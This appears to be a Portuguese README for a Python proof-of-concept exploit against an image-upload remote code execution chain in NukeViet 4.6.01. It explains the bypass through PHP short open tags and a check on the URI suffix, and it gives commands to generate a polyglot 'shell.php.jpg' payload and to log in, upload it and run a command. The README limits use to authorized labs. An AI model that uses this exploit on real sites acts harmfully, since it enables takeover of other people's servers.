
PoC em Python para a cadeia de RCE de upload de imagens do NukeViet 4.6.01: gera um payload poliglota em PHP e, contra um laboratório autorizado, realiza login, faz o upload e executa um comando de prova.
PoC de laboratório autorizado para a cadeia de upload de imagem do NukeViet reportada:
verify_image() não detecta short-open tags do PHP (<?)..php..php apenas no final da URI.Este repositório não contém credenciais, tokens, cookies ou configuração de alvo ativo. Execute apenas contra um laboratório próprio ou explicitamente autorizado.
requestsInstale a dependência:
python3 -m pip install requests
Sem requisição de rede:
python3 nukeviet_rce.py --payload-only --file shell.php.jpg
python3 nukeviet_rce.py \
--authorized \
--url http://127.0.0.1:8080 \
--username LAB_USER \
--password 'LAB_PASSWORD' \
--command id
O script realiza: login -> upload multipart -> extração do caminho enviado -> uma requisição de comando. Use comandos de prova inofensivos, como id ou whoami.
O PoC demonstra impacto apenas quando a configuração exata do alvo alcança a execução do PHP. Uma execução de geração de payload ou uma correspondência apenas em nível de código-fonte não prova RCE em tempo de execução. Não o execute contra sistemas de terceiros.